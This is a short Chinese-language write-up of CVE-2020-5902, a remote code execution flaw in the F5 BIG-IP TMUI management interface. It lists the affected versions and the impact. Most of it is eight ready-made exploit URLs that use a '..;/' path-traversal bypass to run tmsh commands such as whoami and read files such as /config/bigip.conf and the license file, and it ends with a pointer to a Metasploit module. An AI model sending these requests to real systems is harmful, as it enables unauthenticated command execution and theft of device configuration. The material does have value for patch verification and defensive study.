[CVE-2020-5902] F5 BIG-IP 流量管理用户界面（TMUI）远程代码执行
在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI，也称为配置工具）在未公开页面中存在远程代码执行（RCE）漏洞。
此漏洞允许未经身份验证的攻击者或经过身份验证的用户，通过 BIG-IP 管理端口和/或自 IP 对配置工具进行网络访问，从而执行任意系统命令、创建或删除文件、禁用服务以及/或执行任意 Java 代码。该漏洞可能导致系统完全受损。处于设备模式的 BIG-IP 系统同样存在此漏洞。此问题不会暴露在数据平面；仅控制平面受影响。
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
原始安全公告由 F5 发布，您可以点击此处查阅。
此外，CVE-2020-5902 存在一个评级为 Excellent 的 Metasploit 模块。您可以在以下位置找到该 Metasploit 模块的 Ruby 代码： exploits/linux/http/f5_bigip_tmui_rce.rb